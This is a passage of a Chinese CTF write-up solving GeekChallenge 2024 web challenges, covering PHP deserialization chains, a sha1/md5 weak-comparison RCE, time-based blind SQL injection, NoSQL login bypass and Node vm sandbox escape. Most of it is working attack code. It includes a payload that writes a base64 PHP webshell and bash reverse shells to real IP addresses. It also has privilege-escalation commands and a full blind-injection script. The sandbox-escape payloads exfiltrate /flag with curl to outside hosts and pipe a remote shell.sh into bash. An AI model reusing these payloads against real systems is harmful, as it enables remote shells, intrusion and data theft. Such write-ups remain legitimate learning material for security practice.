$originalObject = new MyClass("Example", 123);
$serializedObject = serialize($originalObject);
$unserializedObject = unserialize($serializedObject);

这里反序列化之后直接跳转的__unserialize

1

所以就是这个方法肯定触发而且还比destruct快,而对于$FUNC();,这里写个demo可以知道如果用数组可以直接触发其中方法

<?php
class Geek{
    public function test(){
        echo "test";
    }
}
$a=array(new Geek(),"test");
$a();

那么我们现在就可以触发Sink了,只不过还需要找一个函数可以把这个$FUNC能变成数组的

<?php
class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}
class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}
$a=new Geek();
$a->a=new challenge();
$a->a->file="secret.php";
$a->b="Sink";
echo serialize($a);

/*change=array_values
Geek::unserialize->Challenge::Sink->Syclover::toString

原生类调用函数

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil'));
// echo $function->invoke('Dr', 'Phil');
?>
<?php
class Challenge{
    public $file;
}
class Geek{
    public $a;
    public $b;
}
class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
}
$a=new Geek();
$a->a=new challenge();
$a->b="Sink";
$a->a->file=new Syclover();
$a->a->file->Where="ReflectionFunction";
$a->a->file->IS="system";
$a->a->file->Starven="invokeArgs";
$a->a->file->Girlfriend=array('echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="|base64 -d > shell.php');
echo serialize($a);

/*change=array_values

然后suid提权就可以了

find / -perm -u=s -type f 2>/dev/null
system("/bin/bash -c 'exec bash -i &>/dev/tcp/156.238.233.93/9999 <&1'");
file -f /flag

不过这里还是有点插曲的,我用命令弹shell始终没有成功,后面我索性直接写个文件来弹就成功了

<?php
system("/bin/bash -c 'exec bash -i >& /dev/tcp/156.238.233.93/9999 <&1'");
?>

not_just_pop

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}

GC绕过,然后emm看看链子触发

lhRaMK7::destruct->Parar::set->Strven::toString->Parar::get->SYC::isset->Strven::call->lhRaMK7::invoke
<?php

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
}

class Parar{
    private $execurise="man!";
    public $lead;
    public $hansome;
}

class Starven{
    public $girl;
    public $friend;
}
class SYC{
    private $lover="abc";
    public  $forever;
}

$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl=new Parar();
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
$a->You->lead->girl->hansome->forever->friend->love="echo 1;";
// $a->You->lead->girl->hansome->forever->friend->love = "file_put_contents('/tmp/a.php', '<?php eval(\$_POST[\\'a\\']); ');";
// $a->You->lead->girl->hansome->forever->friend->love="include '/tmp/a.php';";

$b=array(0=>$a,1=>null);
$c=str_replace("i:1;N;}","i:0;N;}",$b);
echo base64_encode(serialize($b));

终于是成功了啊,给我类似了

1

反正咋也不懂,挨着试试就知道用这个

sudo -l
sudo env bash -c 'tac /flag'

ezpop

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

这里进来看到要绕过exit,链子的话还是简单不少

lover::destruct->Geek::get->lover::invoke->Geek::toString->SYC::call

这里死亡绕过的话,我找了找资料基本是不能直接写马的,只能用htaccess进行预包含或者是url二次编码绕过

php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess
    
php://filter/write=string.%7%32ot13|<?cuc cucvasb();?>|/resource=shell.php

利用协议去包含/flag

<?php
Class SYC{
    public $starven;
}

Class lover{
    public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
    public $meimeng;

}

Class Geek{
    public $GSBP;
}
$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$b=serialize($a);
$c=str_replace("s:7:\"meimeng\";","S:7:\"\\6deimeng\";",$b);
echo $b."\n";
echo urlencode($c)."\n";

rce_me

<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);
        
        

        
    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

首先strpos,直接传入即可,弱比较0e绕过

Geekchallenge2024_bmKtL
md5:
0e073277003087724660601042042394

10932435112
sha1:
0e07766915004133176347055865026311692244

intval绕过10e9

POST /?year=10e9&purpose=rce&code=echo%20`tac%20/flag`; HTTP/1.1
Host: 80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cn
Content-Length: 54
Pragma: no-cache
Cache-Control: no-cache
Origin: http://80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cn/?year=10e9&purpose=rce&code=echo%20`tac%20/flag`;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

start=start+now&_%5B2024.geekchallenge.ctf=10932435112

funnySQL

说了字母全是小写,那我猜就是一个盲注了,fuzz一下,474是不准用,好多东西都被过滤了,但是看过狗神那篇文章的应该知道怎么绕过吧?

'||if((2>1),BENCHMARK(1000000000,md5('test')),1)#

那么就是开始注入了,但是or也被禁用了,这里我们使用另一个东西来查表,本来想的是直接查flag来猜结果没有成功

'||if((substr(database(),1,1)like's'),BENCHMARK(1000000000,md5('test')),1)#

依次类推

"'||if((substr(database(),{},1)like'{}'),BENCHMARK(10000,md5('test')),1)#".format(i,s)

然后我发现这个设置的多的话延时太长了,然后稍微调整了一下不过空格被过滤之后每次我都容易写错,慢慢改没事

import requests
import time

url="http://80-e919e7c0-22d2-4a03-b525-6666bf8d7015.challenge.ctfplus.cn/index.php"
strings="qwertyuiopasdfghjklzxcvbnm0123456789-{}QWERTYUIOPASDFGHJKLZXCVBNM"
target=""
for i in range(1,50):
    for s in strings:
        # payload = "'||if((substr(database(),{},1)like'{}'),BENCHMARK(10000,md5('test')),1)#".format(i,s)
        # syclover
        # payload = "'||if((substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like'syclover'),{},1)like'{}'),BENCHMARK(10000000000,md5('test')),1)#".format(i, s)
        # Rea11ys3ccccccr3333t, users
        payload = "'||if((substr((select(*)from(Rea11ys3ccccccr3333t)),{},1)like'{}'),BENCHMARK(100000000,md5('test')),1)%23".format(i, s)


        start_time = time.time()
        r=requests.get(url,params={'username':payload})
        end_time=time.time()
        if end_time-start_time > 0.5:
            target+=s
            print(target)
            break

这个太难注了,搞着搞着,环境都不能在网页访问了

noSandbox

芒果db这个东西nosql注入之前在Ctfshow里面做到过

POST /login HTTP/1.1
Host: 3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn
Content-Length: 43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn
Referer: http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":{"$ne":1},"password":{"$ne":1}}
HTTP/1.1 302 Found
Date: Mon, 02 Dec 2024 13:00:20 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 30
Connection: close
X-Powered-By: Express
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3NGRhZjI2ZmI5YzIzNjQyMmQ4MWRlMSIsInVzZXJuYW1lIjoiSjFyclkiLCJpYXQiOjE3MzMxNDQ1MjUsImV4cCI6MTczMzE0ODEyNX0.e68jREZpirKOYri9KyEoYdFh9_dP5t083JXFvdy9yBs; Path=/; HttpOnly
Location: /execute
Vary: Accept
Cache-Control: no-cache

Found. Redirecting to /execute

访问之后把token弄上,就有框框了,那么审计代码了该

//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
    let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
    if (code.match(pattern)) {
        console.log('WAF detected malicious code');
        res.status(403).send('WAF detected malicious code');
        exit();
    }
}


app.post('/execute', upload.none(), (req, res) => {
    let code = req.body.code;
    const token = req.cookies.token;

    if (!token) {
        return res.status(403).send('Missing execution code credentials.');
    }
    if (!jwt.verify(token, JWT_SECRET)) {
        return res.status(403).send('Invalid token provided.');
    }

    console.log(`Received code for execution: ${code}`);

    try {
        waf(code,res);
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);

        let script = new vm.Script(code);
        console.log('Executing code in sandbox context');
        script.runInContext(context);

        console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
        res.json('Code executed successfully' );
    } catch (err) {
        console.error(`Error executing code: ${err.message}`);
        res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
    }
});

1

这个不是很懂直接拿别的师傅的poc打了

throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl http://g9q7bbsg1zzs0ke84axx2luwpnvdj2.oastify.com/ -T /flag`).toString();
}
})

1

成功了但是没有拿到回显,那么只能换一种方法了,或者说换个平台?

用这个平台,之前Ctfshow用来打xss的,外带其实也挺好用,就是没有bp顺手罢了

http://ceye.io/records/http
throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl hrcgnc.ceye.io -T /flag`).toString();
}
})

1

throw new Proxy({}, {
    get: function() {
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))(); 
        const chi = p.mainModule.require(`${`${`child_proces`}s`}`);
        const res = Reflect.get(chi, `${`${`exe`}cSync`}`)(`sleep 5`);
        return res.toString(); 
    }
});

成功sleep但是如果要拿flag的话得改改payload(改了好久的),测了一会发现这样子直接nc监听是可以拿到flag的

throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl http://38.22.92.200:9999/ -T /flag`).toString();
}
})

1

POST /execute HTTP/1.1
Host: 3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn
Content-Length: 564
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4BH9KtFU6HowVd7O
Accept: */*
Origin: http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn
Referer: http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn/execute
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3NGRhZjI2ZmI5YzIzNjQyMmQ4MWRlMSIsInVzZXJuYW1lIjoiSjFyclkiLCJpYXQiOjE3MzMxNDg4NzEsImV4cCI6MTczMzE1MjQ3MX0.bWxo_zEF1gp435VJBEVL8mXBHJS3-Z3paf8TogpR5aI
Connection: close

------WebKitFormBoundary4BH9KtFU6HowVd7O
Content-Disposition: form-data; name="code"

throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl http://156.238.233.9/shell.sh | bash`).toString();
}
})ls

------WebKitFormBoundary4BH9KtFU6HowVd7O--
#!/bin/bash
/bin/bash -i >& /dev/tcp/156.238.233.9/4444 0>&1

写了挺久的哈哈,终于拿到了

1

escapeSandbox_PLUS

FROM node:18-alpine
WORKDIR /app
COPY ./app /app
COPY ./flag /flag
EXPOSE 3000
CMD ["node","/app/app.js"]

拿到了Dockerfile但是不知道有什么作用,还有源码当然

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const multer = require('multer');
const { VM } = require('vm2');
const crypto = require('crypto');
const path = require('path');

const app = express();


app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));


app.use(express.static(path.join(__dirname, 'public')));

const sessionSecret = crypto.randomBytes(64).toString('hex');
app.use(session({
    secret: sessionSecret,
    resave: false,
    saveUninitialized: true,
}));


const upload = multer();


app.post('/login', (req, res) => {
    const { username, passwd } = req.body;


    if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
        req.session.isAuthenticated = true;
        res.json({ message: 'Login successful' });
    } else {
        res.status(401).json({ message: 'Invalid credentials' });
    }
});


const isAuthenticated = (req, res, next) => {
    if (req.session.isAuthenticated) {
        next();
    } else {
        res.status(403).json({ message: 'Not authenticated' });
    }
};


app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
    let code = req.body.code;

    let flag = false;

    
    for (let i = 0; i < code.length; i++) {
        if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
            flag = true;
            code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
        }
    }

    try {

        const vm = new VM({
            sandbox: {
                require: undefined,
                setTimeout: undefined,
                setInterval: undefined,
                clearTimeout: undefined,
                clearInterval: undefined,
                console: console
            }
        });


        const result = vm.run(code.toString());
        console.log('执行结果:', result);
        res.json({ message: '代码执行成功', result: result });

    } catch (e) {

        console.error('执行错误:', e);
        res.status(500).json({ error: '代码执行出错', details: e.message });
    }
});




app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

process.on('uncaughtException', (err) => {
    console.error('捕获到未处理的异常:', err);

});


process.on('unhandledRejection', (reason, promise) => {
    console.error('捕获到未处理的 Promise 错误:', reason);

});


setTimeout(() => {
    throw new Error("模拟的错误");
}, 1000);


setTimeout(() => {
    Promise.reject(new Error("模拟的 Promise 错误"));
}, 2000);

app.listen(3000, () => {
    console.log('Server is running on port 3000');
});

1

等会这里P牛写过一篇js大小写字母转换特性

P牛

其中混入了两个奇特的字符"ı"、“ſ”。

这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

同样,toLowerCase也有同样的字符:

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.

那么先绕过登录

POST /login HTTP/1.1
Host: 3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cn
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cn
Referer: http://3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: connect.sid=s%3A_9hkPMui5yv9G_MMrWMLT7flOp2xv9eg.MrAYCNkWXUZnz4wbvpB8U99jCMbnk57XsNCVw5VUsqM
Connection: close

{"username":"ſyclover","passwd":"J1rrY"}

然后就是沙箱逃逸,这玩意不看了,看着有点费神

0x03 小结

还是很好的题目,来来回回用碎片化时间搞了挺久的